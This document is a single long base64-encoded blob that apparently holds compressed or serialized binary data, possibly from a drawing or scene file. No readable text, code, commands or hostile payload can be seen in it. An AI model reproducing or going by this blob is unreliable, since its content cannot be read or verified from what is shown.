DriTfX6lmf0/vH/nPjzG9Cln87XHUwMDA3O0zB/nPtX9o9XVx1MDAwZiPpxFx1MDAwYi9kmuX0XHUwMDFiivYznddJ4KWd8MhcIlx1MDAxNVx1MDAxYe2xjYNr11jmXHUwMDAwc+SKPDNccvGIQPZmQ3+ERNtcdIiEXlx1MDAwNvBBYNXhv51O8bXqjknEtkbKrpjEeYnb8atwrdRcdTAwMDBtXHUwMDBi0pBy/7HC3NV58jr1Ulx1MDAxZcmrq5TOt3t3g2g98OwqscXd2FVcdLrHOnZXdqVcdTAwMGWV66vsqlx1MDAxOeVcZlx1MDAxZjJIuEtrh2BcdTAwMTXl7klcdTAwMTaYp1x1MDAxOGxR4LTC7VxmXHUwMDE1e1x1MDAxYtVlx1wiwDhMleL+q7a8+1x1MDAxOFx1MDAwNFVcdTAwMTZcYmlhrmatXVx1MDAxNF3q+1wiKbVcdTAwMTQjYFx1MDAwMSiMXHUwMDA0t3dZ36MswFJYXFxrplx1MDAwMb4xJm1cdTAwMTU3n5JcdTAwMDGBSEJIczClXHUwMDA0SC9gjFVcdTAwMDeGYmB0XHT6jd1cdTAwMDK/wlZZRtc+LFx1MDAwNs9eK1x1MDAwYlZcZlhcdTAwMGLC9Fx1MDAwMIKnSYi9Q8OnyYCN20pSwTDAa1x0ZoU+cpPB7ezN3nU4dlx1MDAxYlx1MDAxYVxy7j5cdTAwMTLq0eFeIWZGLGzgJPFWRYGVPcKiXHUwMDE0M01cdTAwMTVfbjllXHUwMDFhw8EvNeNcdTAwMDKejp3dXHUwMDBmKHmIQz5cdTAwMDSyNKFgTYJ5XGbrlYivpDIxKamBUocrJFxyguBxXHUwMDEzL95cYnhBvCCNsFx1MDAxNpJj04dX4Hnl7ad4MeY7XCJcdTAwMWNEXHUwMDBiMS5cdTAwMGJEV6SLL5Hn3TxncU1Ea2ByXHUwMDAxz5dcImD2VcdccsaW/FxcXHUwMDE016BcdTAwMDf/LJE3P/Szv1857lx1MDAxYko891x1MDAxNE20/Nt5XHUwMDEwXHUwMDE3YVx1MDAwNNaIf7Pr/E3VI/1eKEqeX1Umn+5k68NW8ENCXHUwMDE0wJZWYNCI2euiV5gwbmFNOSAxIUyaprvM2zkmJP3GhIxgxvL7orif93Awv4LV5X838+tX3dAwaDEhh3Vth3dcdTAwMDDMeHS7XHUwMDA1nWBEjn+84/3sXHUwMDAzincoZ5bxyUumOIjfxVx1MDAxNG0z0oozaVK0kdZcdTAwMDK599jcJShEXHUwMDE4teA9Y84xiYCQw3AtQS1GiOZYUXhqq/2bMYY1KnzIVmlBXHUwMDA2PN66Z1x1MDAwMVxcUKNlYZtNU1Vi+8QvYEEtXHUwMDBlm1xmwIJoLMTcuNg0JOQ5U2dhQVhiUzvH4aBRJW0qZr4obSlcbv9hyvS9RYSwlUVcdTAwMWRcdTAwMTXacT/w5lo+6lx1MDAxYmJcdTAwMWTvVnc2XHUwMDBm2XJcdTAwMTCcM0qNXHUwMDFi1re8K3RcdTAwMWHx9PVj4a51w6M8kjp/f0+6XHJcdTAwMTNcZkpvXHUwMDExwFx1MDAwZVx1MDAxZVEhxS2m99VbZDmtbdfeXCJcbmmqXHUwMDBm6EnaXHUwMDA19lxcv/RcdTAwMTOP+lx1MDAxOb2JJ373LPLTp0TDJVx1MDAwNzdcYlx071x1MDAxN/VhW/ZcdTAwMWH5RF5cXODioNBLZ+vve6CbeFx0R15uy5VQ8aV5+SaHvDq8v9hcdTAwMDPdXHUwMDAzbe+J7CHIrstwdr7hQe1cdTAwMDBPheFcdTAwMWGTpK45XHUwMDA0mFx1MDAxMkE1aG3/XHST3ttcdTAwMWNQ61ibwKN772BELL0vdbEuw3mtylgtZ1x1MDAxNJgrg1wivi97Mjj5zr1Bt/JWXHUwMDFl9Yo1ZyP2UCWNazDSsmlrX+ZcdTAwMGUoz5bIvDqNSHJiUsJ8c+6DeCtXqtfj3PtTpVRcdTAwMWJev3beU1uFXHUwMDEwv1x1MDAxMOZcdK+uxlx1MDAwMKT2x7f7hnlCcjDQaDC9W+HbUJaiu4d8efJYzffPpei6dYbdqD/DYchcdTAwMWVcdTAwMWJ6XHUwMDFjVOLFRqU25JVxKtspvuRiJJzbXHUwMDAz3eN6an852XXo0fmGXHUwMDAxRI/atY0pIVJotEEg2XuTg4pcdTAwMWSFV+thReT+XFxcclv0vliZa8lcdTAwMTCjXGLDik5g8UelXG5cdTAwMTCuPXRcdTAwMDaKauHje1x1MDAwM4prUNYyUPy9xO1BouDusVx1MDAwZlx0Vlx1MDAwM1x1MDAxY9pcckZfqFwijeaeSXQkS1FcdTAwMWNcdTAwMTVq+JqfXHUwMDA231x1MDAxN+hcdTAwMDFcdTAwMTI14cFcdTAwMDWJSlJhZlx1MDAxM1x1MDAxZS5hfFx1MDAxN5R4TotPsjxcdTAwMWS/s36KXFzT+qB+3s/vrmqPi+yhwNyBlvvC+53yLe+FW2NcdTAwMTSN9aP55E0swMv9y8muXHUwMDAzic43XGZcdTAwMWVIXHUwMDE03N1RoTlCUiPm38Xovc1BhYmKe8BEzei3wsTVXHUwMDE2aYiauSGHXHUwMDFjbHk8OHFQXHUwMDFjNTo1XHUwMDE3nHggh+JcdTAwMWGgtYxcdTAwMTN/L3FcdTAwMTec6Fx1MDAxYTLGXHUwMDAyc1x1MDAwM1x1MDAxM7X/eoRcdTAwMDedvb1PNy5cdTAwMTO90lMtr9+vU7HMY7BxXCJ8giBcdTAwMGZLXHUwMDBlo1x1MDAwMFx1MDAwM0XFpcBBjVx1MDAxYYdcIlRcdTAwMTaq6Hxwr8lzvnlbyPeliyNtXHUwMDEzdXtcXGRcdTAwMGZcdTAwMTUzPtByXHUwMDBmXHUwMDA1XHUwMDE0j+uhXHUwMDFkXHUwMDBi2XVA0fmGQVx1MDAwNIruRXGEUo0421x1MDAwMCh6b3NAgaJRQ9zLoaiC5VCUglFkXHUwMDFmXHUwMDA2/Vx1MDAxN+PE6rhRnXyxP9FcdTAwMWJoreDEX0v05E73wjHmVUihkebw6p8/vVx1MDAwM2xcdTAwMWLx5zJcdTAwMWJcdTAwMWPSkNPY4lxcI5PUqexMMstcdTAwMTXh0jLdpbHJu0WUu/fW2pU9XHUwMDE1tThcdTAwMTVcXHJYXHUwMDA1XFzaIZmaXHUwMDExSyNcdTAwMDXPXHUwMDA1XHUwMDAwPFF0lXdcdFWMsz+tXHUwMDFmhc9cXGrvlI2zeeqyKcXk2Fx1MDAxNGgxXHUwMDA1XCKXSOnQYlx1MDAwN1PTh1x1MDAwN2uKuaBcdTAwMDK+wGqllq+Eau/4wOKqKDZ6XHUwMDAwlmZcdTAwMWP5aC5hPlx1MDAxN6Utglx1MDAxOcNCKEKZqSNdWdNR5VO7XHUwMDFleXOtXHUwMDFj9jm5f+w/N1x1MDAxN3qculvGnCpJXHUwMDA0Q/6FnrdcdTAwMWRcdTAwMTBUoaelsKSSiHN4XHUwMDAyyNak5KfQ05ZcdTAwMDEkiEpFXHUwMDExkctgaX9CT8KNXHUwMDE0p1x1MDAxMoOprkyx2qrQo9KSmjBJmJpVcq7IPMyQUPqQnq0/QuqBeFHSVFxmacUxU9KWqzRcdTAwMTd6zFx1MDAxMlx1MDAxNMSeUkLDsVBCbin0PEHM4qJcdTAwMDCDXHUwMDAw5NRUc8VMVaPTopCkkinBQFVcdTAwMDOHrlx1MDAxNvJcdTAwMWWT1HM98uZaPuxcdTAwMWLKvDXZha55wYBcdTAwMWHg2qRotlx1MDAxMZo+Np9z+edhq5hqj87D3W7hNeimmDKpXHUwMDFkrs2KhEA+LTE/bVx1MDAwMjApXHUwMDAxXHUwMDE3OUg8ZNyOtmtV4mGyUibHtZBw8sn3ZXl83sPB/eHdrGbhhG7kW8K43Xt5y0zQfVwiNlx1MDAxOb5+ZN/bo9ZcdTAwMWXoXiVypV54OuxcdTAwMTfj2VZD9Fx1MDAxYjfjlM/O8ytbeWDHireLX7iG4Uykh4F08e/hL92l4pdvV5dcXKabSTVO98LpWCHwXHUwMDFjbdjJlaNBx/l08e/I0as8XGay3c3v/9nWXFyD5jMjllx1MDAwMsnTwepHtlx1MDAwM48g92pcdTAwMThcdTAwMDNtXHUwMDAx5GL/XHUwMDE5jenGNDycPj9Hp7jSqiF5S27e3dqHXHUwMDA3JFxmprTy6NAnlNzjWPZ9R8G0XHUwMDE2WJCAjmVv9MK5iIp3pjf5bu9cdTAwMWFnM7SfduGQIGS/T3Op4bCXvU+2Olx0la1fdDRKjfZAl3Sb6elVszbIoFQ8klx1MDAxYV7EXHUwMDBi6ec90D3Q9lx1MDAxZYhsLiXakUiuIN9cdTAwMTLdYSr3qFxu/drgr9uFYyG7LrzmfMPv03Du7WddXHUwMDAxIOF05trx78jy3uWgXHUwMDAyQK2EXHUwMDA3XHUwMDAwRNxn/9nvqfTUXHUwMDEyTDqGT8G2//6+Ss81kO4wlZ6CusbFpVx1MDAxNCaFUvkv9OzX48/NWCckQrw5bWVKpVL99SrgoFx1MDAxNI6XR9toTPbHtntcdTAwMDelWEqtNfk+nvVSlfVy+byQzbApP7+9kFNUmzaj1d018IHIXHUwMDFlXHUwMDFk1lx1MDAxZOlcdTAwMTBTNJPOXHUwMDE3ebb+/vFUXHUwMDFlo8c90D2up3ZcIntcYrLrMKnzXHKDh0mFe/tcdTAwMTGOKCFII/9OSe9dXHUwMDBlKiZVhHgoN6L353HZR8KXomauXGaTJ1x1MDAxMPo9XHUwMDE1pGvg21x1MDAwMSpItetcYlSplOmVvEGXkZuLj/BYXVxcjlx1MDAwN6FKsvn2kX1h58mAg08tPcCnJiqw4JMgkyZDXHUwMDAzWj+q6H34dfrUT4xT2f6EoN5t/7Kwu6Y9LrKHgojHtVx1MDAwYieyhyC7XHUwMDBlXCI63zCAXHUwMDEwUbu3MFx1MDAwMO1cdTAwMDPWtSD+MaL3Nlx1MDAwN1x1MDAxNSNq5YFcdTAwMTE149+KXHUwMDExV1x1MDAxY5WKa41cdTAwMTnRp+rR76lcdTAwMWVdg7JcdTAwMGVQPWrzP67myFx1MDAxMkU3SVx1MDAxNsunXHUwMDEwytyEL3LR8+lLj2Uy8aitqXQgMVwinHbq5aD0O9fuXHUwMDFiMFwixlx1MDAxY2HJg1k62lx1MDAxZcaGtfak2Hm5rKdEs1x1MDAxNEvGq3x3VXtcXGRcdTAwMGZcdTAwMTUyP7JdOFx1MDAxMFI+rl04XHUwMDE2suuwp/NccoOIPd1cdTAwMTVcdTAwMWJcdTAwMTJMSY6xf83mvc1cdTAwMDHFnqDblIduo+jrYuZ+sCdcdTAwMTHUzLWX35dcdTAwMDVcdTAwMTYg7OlVkXog7LlcdTAwMDa97blcIpW7jzJkWGqF0Vx1MDAwNl1LvOOAQa3NQphZXHUwMDEyScYl4ojgpZRcdTAwMTaBLIy/qCDVXHUwMDAwfc5cdTAwMDFOMtO3bpVZ11x1MDAxN6RcIiqFXFxoXHUwMDFh+jdcdTAwMTVneeeWnC2WpDJJXHUwMDE0oopIKbCUTvNS91SS6lx1MDAxZHA4cy9Jtc9cdTAwMTk9+3NrUp1PvblcdTAwMGVXk2pcdTAwMWaetVx1MDAxY5PhXHUwMDAynrfcoJTD275cYqzY09rSXGYzborj4CgtiT1cZof/i0pSqZlqpeDIw1x1MDAwMZBcdTAwMGVcdTAwMTOk15WkgvUtXHUwMDExmOHy7yxJ9S31zFAzpFx0oZhcdTAwMTGlqKSr0mVfXHUwMDE1qd4g5sy1XCKVKIdZa39cXEGq84E3145cdTAwMDWp7lx1MDAwMs/uoFpOXcZcdTAwMTRv2J7O25dcdTAwMTBUiVx1MDAwNzrVwoQoM/TZjDJetMOUtOCIcVx1MDAwMs9cdTAwMDZcdTAwMGW+bcrq3iWeOc+aa6xcdTAwMTkjhEsnq1xmjlx1MDAwMcfAqlxuOENcdTAwMTDmUIVPXHUwMDE5XHUwMDAyS038nUDPt3hcdTAwMDFIxVx1MDAxMDNcdTAwMWGdaFwiTFx1MDAxN0aH1iMmaZ0zw46EXHUwMDExY1x1MDAxMW0n87yDXHUwMDA2S4tcdTAwMDJcdTAwMGVnmFx1MDAxMzhLZnyyXHUwMDEz9kTwfIFrXHUwMDE1IEKupTpqmVx1MDAxN3I98+ZaOe1cdTAwMWJKPc/IXG6cRVdcdTAwMDNcdTAwMTdMOkmI9p99M1x1MDAxMFe391wintJ88lx1MDAxMU0/dT/uri7dZldcdTAwMDckslx1MDAwMipTWVxurHhCzattkq/5e8r3WY/oNrl2y9RvXHUwMDA04J9cdTAwMDHzXHUwMDA2c8iP6lx1MDAxNC/i/YtR+2JQbeTIdSFe1LHg5mhfXHUwMDE10mGcZPFJt5TEd88jfVx1MDAxM32/31x1MDAwM93yuFx1MDAxNJGXnYvmQ4Peq+j0oVx1MDAxOb4q7YHugbb3QGRcdTAwMWLNx+f4XHUwMDA1TY7rhXh8mG7kqpOP9l+3XHUwMDBikdh761xcVFx1MDAxMzdcdTAwMTU64pNG+qkh6j6nuv9Bu5Bs3bzcvqY/PqY3k/PKa65D7zpoXHUwMDBmu9C77pf6XGZ1i/FwMVwipoPH5+5zdie6a1x1MDAxM5xcdTAwMWM3aE52RcR+U5DJw7ihXHUwMDE4M6HJXHUwMDA25V3ep1wioDEmpVx09dDy0m9d5nJuxKFiTFxigaWlKDslOFx1MDAwMVx1MDAxMH9cdTAwMWZcdTAwMTXfYPdsm757kGnUtX35pVxi01x1MDAxYVx1MDAxNLtcdTAwMWNh+r2+XHUwMDFkMLh09bYyhDSlmPivm+4/3U5Y6zlGk6jReevdJMhdWFx1MDAwNVx1MDAxZYNrS1x1MDAxMyQom70uhpiY3mOFyr4xOCWEXHUwMDE431xcMMsvzyeNu/akO0q2eFwiO1x0v98nRze3J1xmvi9cZn6g7T2RPTqyh0L2e1/u2pFPjjdcZlx1MDAxZaRVxLXVXGIliFGGlf+0Ke9dXHUwMDBlLqRl7kqTY1x1MDAxOSxIXHUwMDBiOpJQsDROaVOzfPjqWbvx2ljAqF+QO7VcdTAwMDZcdTAwMWI65O3P17lcdTAwMDO89Vx1MDAxOP3EXHUwMDExJsZcdTAwMDLdwP5cdTAwMWOgZoNd3mcq8lx1MDAxYb2pZKZRubxcdTAwMGU8vpXu1ifbZ1x1MDAwNfae8S2hIFlkUJtCPtTG14/R1G0/moxW3u7a4XzjvX6Ct/uCt1x1MDAwN9reXHUwMDEz2Vx1MDAxM9lcdTAwMDORXYdunW9cdTAwMThAdItdK1JcdTAwMTlcdTAwMTOMILvHaO2sRM9dXHUwMDBlLrolXHUwMDFlKpNcdTAwMDVcZt1ys1x1MDAxYa3o91W5XHUwMDA1XGLdViuNL1x1MDAxZWbqXHJcdFdLXHUwMDAyzFx1MDAwMrfHs4q793CmRFDEtfZvfEbe4leT9jW9OL9JRFi71L5cdTAwMTh9nG+DZ79yhlx1MDAxY1x1MDAxNspcdTAwMDI5pLg0uZJLqWJcdTAwMThxZcEmgb2HXGKzjzNabXQ+u7xcdTAwMTFtqcpKldLeXHUwMDEwrYJVYcGDiWhTk8RrepSrPPSLw+jtJNRcdTAwMTlcdTAwMTDm0rf3hGg3p3ug7T2Rhc/eXHUwMDBmbi5FmNNx966fmajJSFVcdTAwMTE9PbOAkl2HlJ1vXHUwMDE4QKTs0buFUoYk1Vx1MDAxYnRcdTAwMGbz3uaAQmVTXGZFvbSxXHUwMDE0XHUwMDE29aWNv1xiLGMhmTRD309o2Vx1MDAxY8lRo1v5Uri8XHUwMDA2cS7D5V8r3Fx1MDAwMS9L1/SjWVx1MDAwNZVcdTAwMTTM/8hcdTAwMTOWSFx1MDAwZlx1MDAwNevkp91hO55IXGYy08uQW6wmIHBZXHUwMDAz41nMLVJcdTAwMDNoWVtEXHUwMDBioZDJxFwi2L2E1lx1MDAwZlrer/+XMqUlcGowR540n6LlQreQaaNeXCJcdTAwMWUj+fPK28tcdC3vXHItXHUwMDFmaHuPi2w321x1MDAxOeXj11Ocn1x1MDAxNp9avffLh8k73sPmitrbZT379J5rXHUwMDE2+7FcdTAwMWMuXFxcdTAwMTZcbudqXHUwMDBmdO9H7JpcdTAwMTVrT/x+9HZbKmRKLJvdR3btcT21YyG7XHUwMDBlhjvfMHgwXFwj1ypcIsw4o6bIzL/H2nubXHUwMDAzXG7DQctLLy1cdTAwMGb6V/rS8lx1MDAwN0HhzFav+ctlLVx1MDAwNOKAXHUwMDAzTn22XHUwMDAxXHUwMDExt7vds2R1WD/7t1OsLeyqXHKPs8U/3Fx1MDAxYlx1MDAxZV9cdTAwMDNpl/H4fLE/l7pcdTAwMTXDKu7OsIRIwVx1MDAxMd6gw0M+W4ycX4QvyStp8sdcXOgyV61cdTAwMWNBiFx0XHRLStPogcOpI4tDxymyYFx1MDAxM1x1MDAxNMHcNI3RaidcdTAwMWa2J78y6jB0l652caCCc4r0XHUwMDAxXHUwMDA3i+80fnD7XG6vXHUwMDAzKDFHcaBcdTAwMTZ+60tcdTAwMWNEYFx1MDAxZJPi9Kzcfe11O7N9cJJcZrZOQ3srQ1j4du4ywGGFnlx1MDAwMsG9XHUwMDA1gtKuVVxiXHUwMDFhKUz5XHUwMDA2MWfv01x1MDAxMEwrXHUwMDFkVLSFOFx1MDAxM1x1MDAxMpl2XHUwMDFiaH5afs7utbTQyLRGoIpcdTAwMTKyvK49XHUwMDE56Vx1MDAwNFmm51x1MDAwNdFcdTAwMTJgglwic1xmMXenXHRlMWw60ClYK6dzXHUwMDFm0S85XHUwMDAxXGJDSCzk4Zxrge584KmJzuyNVUzbXHUwMDFlYjZKKqWoltzWW8nW4lxuw2NcdTAwMTCmn1x1MDAwNCdUrLZW8dX6wLui6GyxxVx1MDAxNSNcdTAwMDDNiFZcZlFEKV5ZlLYop1x1MDAxY1x1MDAxM0o4VvCZI+9w5XrmzbVy2ufk/rH/3MovqalrXHUwMDBluWBSc9jgXHJaXHUwMDFm9OLnxZuqZOXzWr70XHUwMDFjVlx1MDAxOE9Y0CGQNpsv4KhhYl7RYpZccvxSWlxcMsZcdTAwMTVhXHUwMDEyhJrHwPJcdTAwMWQxXHUwMDEwwLBcdTAwMDXv5PzrzFx1MDAxMVx1MDAxMXOYP1x1MDAwMixcdTAwMDCc8n2izlx1MDAwYlx1MDAxMWWy4p5l4qFi/zrz3Ismo9Xxx9O3IaLt2Vx1MDAwNGOvfFx1MDAxN61cdTAwMTXWeFx1MDAwM2iAQ6RE6mj4/lSeZtTdS/OJ9XJcdTAwMDGHXHUwMDA2XGZ7sVx0gHJcdTAwMGLti012cuCr1VhcdTAwMWJXglxue359kIyG62zjOVx1MDAxM1x1MDAwZVebd/F89elu0Omkiy5lUydcdTAwMDf+5nRcdTAwMGa0vcdF9kmnQUOoh2Yrn1x1MDAxONTU5PKtP2nuYXNcdTAwMWZQWdaKaHCDn0aPxcgliuB+Z1x1MDAwZnRcdTAwMGZcdTAwMTVwXGLFL6uDXHUwMDBlRedx+nw7jvUjXHUwMDE3o3p0XHUwMDFm+Tl3d6WraD/C8tXi6CHyPq5cdTAwMTYuXFzGXG5cdTAwMDVcIpDx0Vxi81xcJaaLJJNRbFx1MDAxOOtcdTAwMTbSXHUwMDBmlydmXHUwMDBiKNl1XHUwMDAxXHUwMDEy51x1MDAxYn5cdTAwMWaScvO3YuyeqDRcdTAwMDNcdTAwMTZ4gzGk3rtcdTAwMWNUW4Nh7lx1MDAwNaJmbUz9gKiDxEek7X6/u+ZKXHUwMDAyRqD8xvZqwVxmkLxcdTAwMTZNjMQsXHUwMDEy/jGsXHUwMDBlxi5FrGJbp+iacMlcdTAwMWFcdTAwMDPC3VVqW/ivZXuy8lx1MDAxYaNIeDSMXHUwMDE1SmMk/fdsqfbT2cJoeK3Pe82y1vKKiOxNwG1cIqKkRVx1MDAwNYevOXtd5GamucVcdTAwMTBY9WB/IErpN5pEdIWxhVx1MDAxNkhQXHUwMDFh0JFUhevryKQ1IFx1MDAxN7H4qJsj+u4qIV3w6skm2pzugbb3RPaApsBx7cKxkF1cdTAwMDetnW9cdTAwMThAaE3cc1x1MDAxObgwoTyG/Kti721cdTAwMGUqtiaauCtjjolPZfxFqUeSXHUwMDAzesKnTjCLuLpSXHUwMDFj1kvd4sC5XHUwMDE44FDJR2ugpzuani93XHUwMDE3XHUwMDE0rVxcQ3BcdTAwMThAJDHlLFx1MDAxYszX6nB53k9eoNiw8lB6fC9d1Fx1MDAxZbJcdTAwMDGH0VxcUDvnLmZcdTAwMWRcdTAwMDRcdTAwMWFHXHUwMDEzxFxi15zhYMZcdTAwMTaqjZFcdTAwMTLNu1x1MDAwZbrF5CObj9fur8en3od7w9FcdTAwMDfa3lx1MDAxM9nDkT1UXHUwMDA04Lh24VjIroPnzjdcZlwiPFx1MDAxN+4jbqnRIYqLXHJcXGWe+1x1MDAxY1R8zoXy0PKcsO9cdTAwMDToq1x1MDAxNbpcdTAwMTKB3WRcdTAwMTJcdTAwMWRPXHUwMDEw/cfdoPtaXHUwMDFk1atvX9vTZlxyll3G5bZVenKpa/ovYdQ1QKUkkVxcbtBQ1VvT7Fx1MDAwM4hcdTAwMWLro7pnXHUwMDFlNSNcdTAwMDKYZmCbwimzzf39icSRstisToBI05xKuvIoXHUwMDE17KUsvZE4JiWlnJD4LFx1MDAwN1x1MDAxOWskXGI3RVx1MDAxOMJh3KPEXHUwMDE2wkQjyszIP/voht9cdTAwMGVupbXmWlx1MDAxY7C0J8gpwN7xobOF2YpSKJNcdTAwMWY1a4yAmePsM6pcYmw1omZcdTAwMDBcdTAwMTfnq3PGfCVcdTAwMDB7c/PCmphScEvzXy4xd0pK5pZcdTAwMDbRrEFvXHUwMDEyKSTXemVNWyRcdTAwMDAvS4avzFx1MDAwMXY/9eZaOe9zcv/Yf24h8pRrxYPJXHUwMDBiV0oy4d/74O39XHUwMDBlqNBjXFxZXHUwMDFhScIp41KrpaA8gFx1MDAxMotQhDRcdTAwMWM1LLg9vXCPQk8pS1x0xVx1MDAwNMgspFx1MDAwNfDZqsxcdTAwMTPaktqkXHUwMDA3IImRwqtcdTAwMDNcdTAwMWapXHUwMDEwJlx1MDAwZlx1MDAxM/2dVVx1MDAwZr5Fnlx1MDAxOexccorc/Fx1MDAxN1x1MDAwMSchhlbrXHUwMDBiMLOM3GGImOOv4GhsJ/O8PYuLi+JcdTAwMDJxMFx1MDAwNEBcdTAwMWNLzue1sfM1XHUwMDAxfFZCM6XhXHUwMDAzZiDKXopcdTAwMWW+U+aFXFxPvblWzvuGMm+bdknG2ShcdTAwMTZ6Pa+TePLh7i5JYjiT4Fx1MDAxN9mxeE6NJFx1MDAwZXysXHUwMDA0Plx1MDAwMVBOYFx1MDAxMGpC0Vx1MDAxNVuMUm1cdCkwXHUwMDE2mFGtMV1a2P5qXHUwMDFliC1p3qvuU1x0rMBu/MbO+Z/3XGJ8lYOjqee77vPmrVx1MDAwNGZcdTAwMGJcdTAwMWP44Vm5/TZcdTAwMDT7LSDlnk5cdTAwMGLbXHUwMDBl81x1MDAwMK5xL/w242dcdTAwMTGiXHUwMDFiNC/1fvrBjLhoTS3syv6SW1xmXHUwMDEziVx1MDAxMGbwmcPEW6S0ONVcZkRcclxieVx1MDAwMlx1MDAxMGxVXHUwMDBlcGKB5kVcdTAwMDbSgCGnuFqRXHUwMDBijCpQlZz9nYjHW/UsXHUwMDE4VFIyzjRoU61cYpbzul67QcW3gzjeRX9cdTAwMGKrXHUwMDAwe5wh0CiIUFx1MDAwMv9POq1CSVx1MDAwMDaggCk1ffrkypqOqq7T9ZCba/V471x04Fxi5upsNjOBQK9r/73mso+l/Hlq+tZ8ayVbbDJKsd5zMeDSTXJhYYJcdEhcdTAwMDcwYMmSXHUwMDE3i8AhI4hcdTAwMTlcdTAwMDdcdTAwMTE1Llxydy9cdTAwMTZS8oWXtpNvWDtINIdcZmsuwayk6oBcdTAwMDHkXeo3c/X+c3p0XkqGX0L51+uPSL5TfThSZDPr4Vx1MDAxOKr97Fx1MDAxNTH8t9MpvlZcdTAwMDGYlquO+EZsm2uyLb5xX96WKIdcdTAwMGJXz47EXHUwMDEya803mKjpfVx1MDAxMIIpXHUwMDA2XHUwMDE0xVx1MDAxNkFcdTAwMWNcdFx1MDAxMMFMLyaEXHUwMDExRC0mQFxuwPtKMczF0rr2JFx1MDAwNWZcdTAwMWHNdJlcIlxikKWkXHUwMDBl5lx1MDAwZabMgneMnSUoLMbWZeeXjFx1MDAwMMNYULBLXHUwMDBmZ/1cdTAwMDRcdTAwMTnmeGugs1x1MDAwNVx1MDAxZlxubDJcdTAwMDKlijHFXHUwMDFjXHUwMDAz1LA5XHUwMDE0fkFcZm7BcVx1MDAwMCTETZxRz5Xuhqjn9TI86vdG99HL1uVtZ3qZXHUwMDBlt+6xy6JcdTAwMThlVMA9sUCAe1x1MDAxNHJwZyOLXCIhOEVcZktcbrbuqrvpqHCP+7E318qB31x1MDAxMPd4p9NR5OreoZxxyTT3j35CXTE819lWXHUwMDFmXT2+cVx1MDAxNLq9XHUwMDFiU7cqs6CIPcZMv1x1MDAxMFx1MDAwZWdcdTAwMWKgXHUwMDA1kkstvYSlXHUwMDA0XHUwMDEx0vQ2I4ZTPOSeXHUwMDBm665cXK2wStFB7iHTLEBcdTAwMDPeV0bCSulcdTAwMDCGXHUwMDA0sYBRyewjQlxuumreXHUwMDAxhFx1MDAwM0uBaLSu3Vx1MDAxN3pcdTAwMWVnI1x1MDAxZMH7zZdcdTAwMTa95Fx1MDAxZo2b+v1Cb5mv9lx1MDAwYjlrZ9vB0plcdTAwMDfxOClkXHUwMDFmi6mHwWVbJ3M4MvabZ9NcdTAwMGI9N+L1fONcdTAwMDZ9fJBMOpovRe+734bKduBVxl15lTBcIlx1MDAxNVx1MDAxY0//vFpcbr83w9GOXHUwMDFhptp3mUHpVoT7raBbKowqS2mBXHUwMDExZ1JJuVx1MDAxOHrSpie2VFx1MDAxNJhcdTAwMTjgXHUwMDBil1x1MDAwN2JV0/6GcGa0puZaMofQk7QwNlWpwqxFYbFcdTAwMDJRTGErNi8nRrX/8Vx1MDAwZYzqSTeei7FE6oZcdTAwMTcu+U0z05LxXHUwMDE3hH06nD3pdlx1MDAxZiRcdTAwMTndklip3nmMl6+yTyU8uN5cdTAwMDPdm/hNPHdcdTAwMTGWheZ7vtlLhqdcdTAwMDPBrvZAXHUwMDE343bv5S0zQfeJ2GT4+pF9b49ae6DbmlxcZT5SSOWyhcd2uH3ReMg3zo9RwEr3hCYhXHUwMDE4XHUwMDAxw0j7XHUwMDBmdZW68uojU2r1XHUwMDFl78v5h+TDfST6QYIuYDkgUUxNJzN4lYuuIMYtXHUwMDEzalVcXCmp8Y6O7uW0xM/IPrdcdTAwMDBcdTAwMDGbXHUwMDAwpyZUXCLmgIRcdTAwMTiFdVx1MDAxMEKMi1CrVelcbssj1FipwZWuXHUwMDAxOe/KXHUwMDE2R1hcdTAwMTmzLGc9bDfoMdEo9z9KsUKTi3NJyslOJN66p0E/8IJZimLFuJn9s1xi/jnYolx1MDAxMmxM2Fxi021cdTAwMTB5eD53jOtcbmxpXHUwMDA1XHUwMDAwTlx1MDAxMnPqsdBOYV5cdOY6N15YTVx0tVfs/e7iSbVcdTAwMDQzha1zjcZcdTAwMWWj5dJbXGblXHUwMDFimdb9XHUwMDE1KpVcdTAwMWbvXHUwMDFl7V1y/lxuvpi5LZ1YQkhcdTAwMGaW0JQrsUl5WaF9LTLF17eHYuojVy09qofKTdCDnYYlOKOaXHUwMDAzyFx1MDAxNWJcdTAwMTFjg3qQiHMtJGaUY3S4VFx1MDAwNzB3XHUwMDE5kyCFjFx1MDAxZkggp/BcdTAwMDBa5lx1MDAwMKpAX1x1MDAwMK5eXHUwMDA3q7+TXHUwMDAzguA6XFz2dLm8s2dcdTAwMWbawnt7daC5npWlv/7H/tNNMlTb7UZv6GKAXHUwMDBij9pTM6hBUOZfOOSu2+oudv3QvIgplG6/34SvUfmrhMOceTZcdTAwMTRcdTAwMGWghkyGXHUwMDE57DXBNlx1MDAwM3YmXHUwMDFkiFx1MDAxMVx1MDAxY6CfTEIyVbs1vH4pcsLJqmAwc7FcdTAwMTjcgZt7YKJtkH1enuL+md9cdTAwMTa4MEOiqV6X735SlmtYgmPmxlx1MDAxMqAomTlcdTAwMGX+w2bJdKiUV1x1MDAwZqGxvFaFq7jSV2/5btA5Qlx1MDAxYfCGZ5CMUEFcdTAwMGXJXHUwMDExJYT4wTiCg72nXHUwMDE0P8HHXTlCuvc+JppcdTAwMDDGp1x1MDAxYsxJea6Fxy1SfG11rlx1MDAwN/n7du8y89G7XGY8S0hcdTAwMGJLk6VcdTAwMDHnTItljpBcdTAwMDKsXHUwMDE040BcdTAwMTBcdTAwMWHZZiZsw1x1MDAxMlxmlVx1MDAxMZeHYlx0UHZcdTAwMThcdTAwMTG8tkLgxFx1MDAxMmtYQjH3XHUwMDFjcm3CXVx1MDAxYmmJ7MXjucrX9XBUvyo8vVx1MDAxNVx1MDAxZenr/ZexhJNRpddzhGKWZlhcdTAwMTFTXHUwMDE4g5cySFx1MDAwNVx1MDAwMiVcdTAwMDFgSnKNXHUwMDAxWLlXzPjhXGLEisVcdTAwMTcnjkDGclx1MDAxM4yZbEF4+Fx1MDAwZVx1MDAxZVx1MDAwNveP/M6sMHFcdTAwMTewgcU6z9qJITxcXFxmhLlPzZGzU7CBXHJcdTAwMTEhz+9diouX1Xqk9vQ6eGqkI52gq1x1MDAwN60sJFx1MDAwNJJcdTAwMWNr2PZFXlBcdTAwMTZcdTAwMDOJzogy4z08Smb9pFx1MDAxOblpXHUwMDA3TC1jqylcdTAwMDGnXHUwMDFjjFxmTlx1MDAxY5rXYGyB1MLU6Fx1MDAwNS5cdTAwMDQmq00hXHRHWFx1MDAxMlx1MDAxZWhcdTAwMWLi5G6YvbfffFx1MDAxZGT9XGYx